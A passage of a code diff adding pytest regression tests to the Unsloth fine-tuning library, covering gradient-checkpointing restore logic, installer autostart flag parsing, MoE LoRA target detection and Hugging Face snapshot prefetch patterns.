+        self,
+        recorded = _MISSING,
+        gradient_checkpointing = _MISSING,
+    ):
+        if recorded is not _MISSING:
+            self._unsloth_gradient_checkpointing = recorded
+        if gradient_checkpointing is not _MISSING:
+            self.gradient_checkpointing = gradient_checkpointing
+
+
+class _Self:
+    def __init__(
+        self,
+        model = None,
+        args = None,
+    ):
+        if model is not None:
+            self.model = model
+        self.args = args
+
+
+# (recorded on model, args.gradient_checkpointing, expected restored value)
+# The point of the fix: a recorded mode wins over args, and a recorded ``None``
+# (a valid setup value) is restored verbatim rather than collapsing to the
+# args fallback the way a ``None`` sentinel would.
+_MATRIX = [
+    ("unsloth", False, "unsloth"),  # the #4735 case: args=False must NOT win
+    (True, False, True),
+    (False, True, False),  # user turned GC off; args=True must NOT re-enable it
+    (None, True, None),  # explicit None is restored, not treated as "unrecorded"
+    (_MISSING, True, True),  # nothing recorded -> fall back to args
+    (_MISSING, False, False),
+]
+
+
+def _eval_ternary(expr, recorded, args_gc):
+    """Eval a restore expression that references either ``model``/``args`` or ``self.model``/``self.args``."""
+    model = _Obj(recorded = recorded)
+    args = _Obj(gradient_checkpointing = args_gc)
+    self = _Self(model = model, args = args)
+    return eval(
+        expr, {"hasattr": hasattr, "getattr": getattr}, {"model": model, "args": args, "self": self}
+    )
+
+
+def test_ternary_restore_semantics():
+    exprs = [m.group(0) for m in _TERNARY.finditer(_RL)]
+    exprs += [m.group(0) for m in _TERNARY.finditer(_RL_REPLACEMENTS)]
+    # Also guards against the lines being deleted/renamed (which reinstates the bug).
+    assert len(exprs) >= 3, f"expected the 3 trainer-call restore sites, found {len(exprs)}"
+    for expr in exprs:
+        for recorded, args_gc, expected in _MATRIX:
+            got = _eval_ternary(expr, recorded, args_gc)
+            assert got == expected and type(got) is type(
+                expected
+            ), f"{expr!r}: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def _extract_prepare_restore_block():
+    """Pull the multi-line restore block out of ``prepare_for_training_mode``'s wrapper.
+
+    It lives inside an exec'd template string, so grab it textually: from the
+    ``_model = getattr(self, 'model', None)`` line through the closing
+    ``else:``/``use_gc = ...`` pair.
+    """
+    lines = _RL.splitlines()
+    start = next(
+        i for i, l in enumerate(lines) if l.strip() == "_model = getattr(self, 'model', None)"
+    )
+    # End at the fallback assignment rather than a fixed line count, so inserting
+    # lines into the block can't silently truncate what gets exec'd.
+    end = next(
+        i
+        for i, l in enumerate(lines)
+        if i > start and "use_gc = getattr(self.args, 'gradient_checkpointing', True)" in l
+    )
+    block = lines[start : end + 1]
+    # dedent to column 0 so it execs as a top-level block
+    indent = len(block[0]) - len(block[0].lstrip())
+    return "\n".join(l[indent:] for l in block)
+
+
+def test_prepare_for_training_mode_block_semantics():
+    block = _extract_prepare_restore_block()
+    # Must be valid Python (it's never seen by py_compile in the outer file).
+    ast.parse(block)
+
+    for recorded, args_gc, expected in _MATRIX:
+        model = _Obj(recorded = recorded)
+        args = _Obj(gradient_checkpointing = args_gc)
+        ns = {"self": _Self(model = model, args = args), "hasattr": hasattr, "getattr": getattr}
+        exec(block, {}, ns)
+        got = ns["use_gc"]
+        assert (
+            got == expected and type(got) is type(expected)
+        ), f"prepare block: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def test_prepare_block_tolerates_missing_model():
+    # gemini flagged the unguarded self.model access: the block reads self.model via
+    # getattr(self, 'model', None), so a trainer without a .model attribute must fall
+    # back to args rather than raising AttributeError.
+    block = _extract_prepare_restore_block()
+    args = _Obj(gradient_checkpointing = True)
+    self_no_model = _Self(model = None, args = args)  # _Self leaves .model unset when model is None
+    assert not hasattr(self_no_model, "model")
+    ns = {"self": self_no_model, "hasattr": hasattr, "getattr": getattr}
+    exec(block, {}, ns)
+    assert ns["use_gc"] is True
+
+
+def test_recording_sites_are_real_module_code():
+    # The recording side (unlike the restore side) is real module code, not a template
+    # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters
+    # are covered) and at the pre-wrapped pass-through, both of which bypass the old
+    # get_peft_model-only recording.
+    llama = (_ROOT / "llama.py").read_text()
+    tree = ast.parse(llama)
+
+    def assigns_marker(node):
+        return any(
+            isinstance(n, ast.Assign)
+            and any(
+                isinstance(t, ast.Attribute) and t.attr == "_unsloth_gradient_checkpointing"
+                for t in n.targets
+            )
+            for n in ast.walk(node)
+        )
+
+    fns = {n.name: n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)}
+    assert "patch_peft_model" in fns and assigns_marker(
+        fns["patch_peft_model"]
+    ), "patch_peft_model must record _unsloth_gradient_checkpointing so loaded adapters are covered"
+    # The pass-through branch lives in get_peft_model.
+    assert assigns_marker(
+        fns["get_peft_model"]
+    ), "get_peft_model pass-through must record _unsloth_gradient_checkpointing"
diff --git a/tests/test_installer_skip_autostart.py b/tests/test_installer_skip_autostart.py
new file mode 100644
index 0000000000..fcc199af44
--- /dev/null
+++ b/tests/test_installer_skip_autostart.py
@@ -0,0 +1,147 @@
+"""Regression tests for installer controls and process exits."""
+
+from __future__ import annotations
+
+import os
+import re
+import shutil
+import subprocess
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+INSTALL_SH = REPO_ROOT / "install.sh"
+INSTALL_PS1 = REPO_ROOT / "install.ps1"
+README = REPO_ROOT / "README.md"
+
+TRUTHY_VALUES = ("1", "true", "TRUE", "yes", "YES", "on", "ON")
+FALSEY_VALUES = ("", "0", "false", "no", "off", "anything-else")
+
+
+def _extract(pattern: str, source: str) -> str:
+    match = re.search(pattern, source, flags = re.DOTALL)
+    assert match is not None, f"installer block not found: {pattern}"
+    return match.group(0)
+
+
+@pytest.mark.parametrize(
+    ("value", "expected"),
+    [(value, "true") for value in TRUTHY_VALUES] + [(value, "false") for value in FALSEY_VALUES],
+)
+@pytest.mark.skipif(shutil.which("sh") is None, reason = "POSIX shell is unavailable")
+def test_posix_skip_autostart_value_parsing_with_no_torch(value: str, expected: str):
+    source = INSTALL_SH.read_text(encoding = "utf-8")
+    no_torch_parser = _extract(
+        r'case "\$\{UNSLOTH_NO_TORCH:-\}" in.*?esac',
+        source,
+    )
+    autostart_parser = _extract(
+        r'case "\$\{UNSLOTH_SKIP_AUTOSTART:-\}" in.*?esac',
+        source,
+    )
+    env = os.environ.copy()
+    env["UNSLOTH_NO_TORCH"] = "1"
+    env["UNSLOTH_SKIP_AUTOSTART"] = value
+    result = subprocess.run(
+        [
+            "sh",
+            "-c",
+            (
+                f"_NO_TORCH_FLAG=false\n_SKIP_AUTOSTART=false\n{no_torch_parser}\n"
+                f'{autostart_parser}\nprintf "%s %s" "$_NO_TORCH_FLAG" "$_SKIP_AUTOSTART"'
+            ),
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+        env = env,
+    )
+    assert result.stdout == f"true {expected}"
+
+
+def test_posix_skip_autostart_bypasses_only_the_interactive_prompt():
+    source = INSTALL_SH.read_text(encoding = "utf-8")
+    gate = 'if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; then'
+    assert gate in source
+    assert source.index(gate) < source.index("Start Unsloth Studio now? [Y/n]")
+    assert source.count("Start Unsloth Studio now? [Y/n]") == 1
+    assert source.index("Start Unsloth Studio now? [Y/n]") < source.index(
+        'step "launch" "manual commands:"'
+    )
+    assert "export UNSLOTH_SKIP_AUTOSTART=1" in source
+
+
+@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")
+@pytest.mark.parametrize(
+    ("value", "expected"),
+    [(value, "True") for value in TRUTHY_VALUES] + [(value, "False") for value in FALSEY_VALUES],
+)
+def test_windows_skip_autostart_value_parsing_with_no_torch(value: str, expected: str):
+    source = INSTALL_PS1.read_text(encoding = "utf-8")
+    parser = _extract(
+        r"\$SkipTorch = \$false\s+\$SkipAutostart = \$false\s+.*?"
+        r"if \(\$env:UNSLOTH_NO_TORCH -in @\('1', 'true', 'yes', 'on'\)\) "
+        r"\{ \$SkipTorch = \$true \}\s+"
+        r"if \(\$env:UNSLOTH_SKIP_AUTOSTART -in @\('1', 'true', 'yes', 'on'\)\) "
+        r"\{ \$SkipAutostart = \$true \}",
+        source,
+    )
+    env = os.environ.copy()
+    env["UNSLOTH_NO_TORCH"] = "1"
+    env["UNSLOTH_SKIP_AUTOSTART"] = value
+    result = subprocess.run(
+        [
+            "pwsh",
+            "-NoProfile",
+            "-NonInteractive",
+            "-Command",
+            f'{parser}; "$SkipTorch $SkipAutostart"',
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+        env = env,
+    )
+    assert result.stdout.strip() == f"True {expected}"
+
+
+def test_windows_skip_autostart_bypasses_only_the_interactive_prompt():
+    source = INSTALL_PS1.read_text(encoding = "utf-8")
+    gate = (
+        "$IsInteractive = (-not $SkipAutostart) -and "
+        "[Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)"
+    )
+    assert gate in source
+    assert source.index(gate) < source.index("Start Unsloth Studio now? [Y/n]")
+    assert source.count("Start Unsloth Studio now? [Y/n]") == 1
+    assert source.index("Start Unsloth Studio now? [Y/n]") < source.index(
+        'step "launch" "manual commands:"'
+    )
+
+
+@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")
+def test_windows_installer_invalid_package_fails():
+    result = subprocess.run(
+        [
+            "pwsh",
+            "-NoProfile",
+            "-NonInteractive",
+            "-File",
+            str(INSTALL_PS1),
+            "--package",
+            "bad!",
+        ],
+        capture_output = True,
+        text = True,
+        timeout = 30,
+    )
+
+    assert result.returncode != 0
+    assert "package name contains invalid characters" in result.stdout + result.stderr
+
+
+def test_skip_autostart_is_documented_for_all_installers():
+    readme = README.read_text(encoding = "utf-8")
+    assert "UNSLOTH_SKIP_AUTOSTART=1 sh" in readme
+    assert "$env:UNSLOTH_SKIP_AUTOSTART=1" in readme
diff --git a/tests/test_moe_lora_targets.py b/tests/test_moe_lora_targets.py
index 994d39f261..7f9b9a0485 100644
--- a/tests/test_moe_lora_targets.py
+++ b/tests/test_moe_lora_targets.py
@@ -49,3 +49,190 @@ def test_explicit_dotted_module_target_does_not_discover_moe_parameters():
         )
         is None
     )
+
+
+@pytest.mark.parametrize(
+    "target_modules",
+    [
+        # Attention-only auto-regex lists every projection leaf (incl. gate/up/down)
+        # but its path segment is attention-only, so experts must NOT be targeted.
+        r"(?:\bmodel\.layers\.[\d]{1,}\.(?:self_attn|attention|attn|mixer)\.(?:q_proj|k_proj|v_proj|o_proj|gate_proj|up_proj|down_proj))",
+        ".*self_attn.*proj",
+        # An mlp path alternative with attention-only leaves is still attention-only.
+        r"model\.layers\.\d+\.(?:mlp|self_attn)\.(?:q_proj|k_proj|v_proj|o_proj)",
+    ],
+)
+def test_attention_only_regex_does_not_discover_moe_parameters(target_modules):
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), target_modules) is None
+
+
+def test_single_leaf_regex_targets_only_that_projection():
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*experts.*down_proj") == [
+        "mlp.experts.down_proj",
+    ]
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*mlp.*gate_proj") == [
+        "mlp.experts.gate_up_proj",
+    ]
+
+
+def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():
+    # get_peft_regex on a fused-expert model lists only attention Linears as
+    # leaves; the mlp tag block is the remaining signal of MLP finetune intent.
+    from unsloth.models._utils import get_moe_target_parameters
+    both_auto = (
+        r"(?:\bmodel\.layers\.[\d]{1,}\."
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer)\."
+        r"(?:(?:q_proj|k_proj|v_proj|o_proj)))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), both_auto) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_explicit_attention_only_list_does_not_discover_moe_parameters():
+    # An explicit attention-only leaf list names no MLP projection, so experts
+    # must never be targeted. get_peft_model routes this ORIGINAL list (not the
+    # scoped regex) into detection precisely because family scoping makes
+    # get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block
+    # even for an attention-only request (see the regex below), which the
+    # string fallback cannot distinguish from the fused-expert auto regex.
+    from unsloth.models._utils import get_moe_target_parameters
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    assert get_moe_target_parameters(_FakeMoeModel(), attn_only_list) is None
+    assert get_moe_target_parameters(_FakeMoeModel(), tuple(attn_only_list)) is None
+
+    # The regex get_peft_regex emits for that same attention-only list under a
+    # vision-off family scope carries the mlp component block, so the string
+    # path would wrongly enable experts -- hence detection must use the list.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), scoped_regex) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_frozen_mlp_full_list_does_not_discover_moe_parameters():
+    # Regression: an explicit list that names MLP leaves together with
+    # finetune_mlp_modules=False must NOT train experts. get_peft_regex scopes
+    # the MLP leaves out (its emitted regex carries no mlp tag block), so
+    # detection has to key on that SCOPED regex -- keying on the original list
+    # would let its gate/up/down leaves silently re-enable the frozen experts.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    # Representative of what get_peft_regex emits for that list under
+    # finetune_mlp_modules=False: attention-only path, no mlp component block.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = False,
+        finetune_language_layers = True,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_frozen_language_full_list_does_not_discover_moe_parameters():
+    # Vision-only request (finetune_language_layers=False) with a full leaf list
+    # must not reach the language-model experts either.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = ["q_proj", "gate_proj", "up_proj", "down_proj"]
+    scoped_regex = (
+        r"(?:.*?(?:vision|visual|image).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = False,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_in_scope_mlp_full_list_still_discovers_moe_parameters():
+    # With MLP and language both in scope, an explicit list that names MLP
+    # leaves SHOULD enable the experts (unchanged behavior): the original list
+    # is preferred and carries the gate/up/down intent.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    scoped_regex = r".*self_attn.*proj"  # unused: original list is preferred
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is original_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_attention_only_list_prefers_original_when_in_scope():
+    # The case the PR originally fixed: an attention-only list routed through
+    # get_peft_regex under a family scope (e.g. vision-off) still keeps experts
+    # off, because with MLP+language in scope detection uses the original
+    # attention-only list rather than the regex's spurious mlp component block.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    scoped_regex = (  # carries the spurious mlp block get_peft_regex always adds
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        attn_only_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is attn_only_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
diff --git a/tests/test_prefetch_snapshot_scope.py b/tests/test_prefetch_snapshot_scope.py
new file mode 100644
index 0000000000..c7ec4f2c34
--- /dev/null
+++ b/tests/test_prefetch_snapshot_scope.py
@@ -0,0 +1,916 @@
+# Unsloth Zoo - Utilities for Unsloth
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""Pure-CPU, no-network unit tests for prefetch snapshot scoping in unsloth/models/_utils.py.
+
+maybe_prefetch_hf_snapshot warms the HF cache before the in-process load. The warm must cover at
+least what the load reads (else the missing file falls to an unprotected in-process Xet fetch) but
+not pull weights the load never reads. These tests lock the allow/ignore patterns each mode hands
+snapshot_download_with_xet_fallback. The zoo downloader is monkeypatched to capture its kwargs.
+"""
+
+import fnmatch
+import sys
+import types
+
+import pytest
+
+from unsloth.models import _utils as U
+
+
+def _filter(names, allow_patterns, ignore_patterns):
+    """Mirror HF filter_repo_objects: keep on allow match (or None), drop on ignore match."""
+    kept = []
+    for name in names:
+        if allow_patterns is not None and not any(fnmatch.fnmatch(name, p) for p in allow_patterns):
+            continue
+        if ignore_patterns and any(fnmatch.fnmatch(name, p) for p in ignore_patterns):
+            continue
+        kept.append(name)
+    return kept
+
+
+@pytest.fixture
+def capture(monkeypatch):
+    """Run maybe_prefetch_hf_snapshot with a fake repo, capturing the patterns forwarded to a
+    fake injected zoo downloader (independent of the installed unsloth_zoo). Offline env cleared."""
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+
+    state = {}
+
+    def fake_download(repo_id, **kw):
+        state["repo_id"] = repo_id
+        state["allow_patterns"] = kw.get("allow_patterns")
+        state["ignore_patterns"] = kw.get("ignore_patterns")
+        state["variant"] = kw.get("variant")
+        return "/tmp/fake-snapshot"
+
+    fake_module = types.ModuleType("unsloth_zoo.hf_xet_fallback")
+    fake_module.snapshot_download_with_xet_fallback = fake_download
+    fake_module.DownloadStallError = type("DownloadStallError", (RuntimeError,), {})
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.hf_xet_fallback", fake_module)
+
+    # Neutralize the model_info network call by default; tests exercising format selection
+    # install their own.
+    import huggingface_hub
+
+    class _NoNetworkApi:
+        def model_info(self, *a, **k):
+            raise RuntimeError("no network in test")
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _NoNetworkApi)
+
+    def run(**call_kwargs):
+        state.clear()
+        ok = U.maybe_prefetch_hf_snapshot("some-org/some-repo", **call_kwargs)
+        return ok, state
+
+    return run
+
+
+# Representative repo listing: root weights + aux, subdir, adapter, checkpoint, merged weights.
+_SAMPLE_FILES = [
+    "config.json",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "model-00001-of-00002.safetensors",
+    "model-00002-of-00002.safetensors",
+    "model.safetensors.index.json",
+    "pytorch_model.bin",
+    "fp16/model.safetensors",
+    "experimental/model-00001-of-00002.safetensors",
+    "checkpoint-500/model.safetensors",
+    "adapter_config.json",
+    "adapter_model.safetensors",
+]
+
+
+def test_weights_at_root_excludes_subdir_weights(capture):
+    """A root load ignores subdir weights (fp16/, experimental/, checkpoint-500/) but keeps root weights."""
+    ok, st = capture(weights_at_root = True, use_safetensors = True)
+    assert ok is True
+    assert st["allow_patterns"] is None
+    ig = st["ignore_patterns"]
+    assert "*/*.safetensors" in ig and "*/*.bin" in ig
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], ig)
+    assert "model-00001-of-00002.safetensors" in kept
+    assert "model.safetensors.index.json" in kept
+    assert "config.json" in kept
+    assert "fp16/model.safetensors" not in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+    assert "checkpoint-500/model.safetensors" not in kept
+
+
+def test_adapter_only_excludes_merged_weights(capture):
+    """An adapter warm keeps adapter files + root aux, not merged full-model weights."""
+    ok, st = capture(adapter_only = True)
+    assert ok is True
+    assert st["ignore_patterns"] is None
+    allow = st["allow_patterns"]
+    assert "adapter_config.json" in allow and "adapter_model*" in allow
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "adapter_config.json" in kept
+    assert "adapter_model.safetensors" in kept
+    assert "config.json" in kept and "tokenizer.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "pytorch_model.bin" not in kept
+    assert "fp16/model.safetensors" not in kept
+
+
+def test_adapter_only_warms_sharded_adapter(capture):
+    """A sharded adapter is still covered by the adapter_model* glob."""
+    _, st = capture(adapter_only = True)
+    sharded = [
+        "adapter_config.json",
+        "adapter_model-00001-of-00002.safetensors",
+        "adapter_model-00002-of-00002.safetensors",
+        "adapter_model.safetensors.index.json",
+    ]
+    kept = _filter(sharded, st["allow_patterns"], st["ignore_patterns"])
+    assert set(kept) == set(sharded)
+
+
+def test_tokenizer_only_warms_only_aux_files(capture):
+    """A tokenizer-only repo warms tokenizer/config/vocab files, never weights."""
+    _, st = capture(tokenizer_only = True)
+    assert st["ignore_patterns"] is None
+    assert st["allow_patterns"] == list(U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "tokenizer.json" in kept and "config.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_aux_warm_covers_arbitrary_remote_code_modules(capture):
+    """The aux warm must cover any *.py, since trust_remote_code auto_map names modules freely."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    assert "*.py" in allow
+    remote_code = [
+        "config.json",
+        "modeling.py",
+        "tokenization.py",
+        "my_custom_code.py",
+        "configuration_foo.py",
+    ]
+    kept = _filter(remote_code, allow, st["ignore_patterns"])
+    for name in ("modeling.py", "tokenization.py", "my_custom_code.py", "configuration_foo.py"):
+        assert name in kept, name
+
+
+def test_subfolder_warms_subfolder_plus_root_aux(capture):
+    """A subfolder load warms that subfolder's weights plus root aux; other subdirs/root weights skipped."""
+    _, st = capture(subfolder = "fp16")
+    allow = st["allow_patterns"]
+    assert "fp16/*" in allow
+    assert all(p in allow for p in U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+    assert "config.json" in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+
+
+def test_subfolder_takes_precedence_over_weights_at_root(capture):
+    """When a subfolder is requested the subfolder branch wins over weights_at_root."""
+    _, st = capture(subfolder = "fp16", weights_at_root = True)
+    assert "fp16/*" in st["allow_patterns"]
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+
+
+def test_local_dir_is_not_warmed(capture, tmp_path):
+    """A local directory path skips the warm (returns False)."""
+    d = tmp_path / "local-model"
+    d.mkdir()
+    ok = U.maybe_prefetch_hf_snapshot(str(d), weights_at_root = True)
+    assert ok is False
+
+
+def _install_fake_model_info(monkeypatch, filenames):
+    """Make HfApi().model_info(...).siblings report filenames, with no network."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Info:
+        def __init__(self, names):
+            self.siblings = [_Sib(n) for n in names]
+
+    class _Api:
+        def model_info(self, *a, **k):
+            return _Info(filenames)
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _Api)
+
+
+# ----- Finding P: variant-aware weight-format selection -----
+
+
+def test_variant_keeps_bin_when_only_default_safetensors(monkeypatch):
+    """A default model.safetensors must not prove a variant .bin redundant; without a variant it does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    ig_default = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_default
+
+
+def test_variant_drops_bin_when_variant_safetensors_present(monkeypatch):
+    """A variant-matching safetensors makes the variant .bin redundant, so .bin is dropped."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_no_variant_keeps_bin_when_only_variant_safetensors(monkeypatch):
+    """For a no-variant load, only a canonical safetensors (not a lone variant) makes .bin redundant."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_variant_keeps_bin_for_noncanonical_sidecar(monkeypatch):
+    """A non-canonical variant sidecar must not prove the variant .bin redundant; a canonical one does."""
+    _install_fake_model_info(
+        monkeypatch, ["consolidated.fp16.safetensors", "pytorch_model.fp16.bin"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_is_canonical_model_weight_safetensors():
+    """The canonical detector matches only non-variant model-weight safetensors names."""
+    assert U._is_canonical_model_weight_safetensors("model.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_canonical_model_weight_safetensors("model.fp16.safetensors") is False
+    assert (
+        U._is_canonical_model_weight_safetensors("model.fp16-00001-of-00002.safetensors") is False
+    )
+    assert U._is_canonical_model_weight_safetensors("adapter_model.safetensors") is False
+
+
+def test_st_prefetch_resolves_env_cache_and_runs_after_validation():
+    """The ST prefetch must resolve SENTENCE_TRANSFORMERS_HOME and run after load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert len(prefetch_calls) == 1, "expected exactly one ST prefetch call"
+    call = prefetch_calls[0]
+    # cache_dir kwarg resolves SENTENCE_TRANSFORMERS_HOME.
+    cache_dir_kw = next((kw for kw in call.keywords if kw.arg == "cache_dir"), None)
+    assert cache_dir_kw is not None, "ST prefetch must pass cache_dir"
+    assert "SENTENCE_TRANSFORMERS_HOME" in ast.dump(
+        cache_dir_kw.value
+    ), "ST prefetch cache_dir must resolve SENTENCE_TRANSFORMERS_HOME"
+    # Load-mode validation runs before the prefetch (fewer source lines = earlier).
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < call.lineno, "load-mode validation must precede the ST prefetch"
+
+
+def test_st_cache_resolutions_honor_explicit_hf_cache_dir():
+    """Every ST cache resolution falling back to SENTENCE_TRANSFORMERS_HOME must first honor an explicit HF cache_dir."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    resolutions = [
+        kw
+        for kw in ast.walk(tree)
+        if isinstance(kw, ast.keyword)
+        and kw.arg == "cache_dir"
+        and "SENTENCE_TRANSFORMERS_HOME" in ast.dump(kw.value)
+    ]
+    assert resolutions, "expected cache_dir resolutions referencing SENTENCE_TRANSFORMERS_HOME"
+    for kw in resolutions:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "an ST cache_dir resolution must read an explicit kwargs.get('cache_dir') first"
+
+
+def test_st_native_loads_map_hf_cache_dir_to_cache_folder():
+    """Native SentenceTransformer loads take cache_folder, so an explicit HF cache_dir must be mapped onto it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    # Every native SentenceTransformer(...) forwarding cache_folder must read cache_dir.
+    st_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
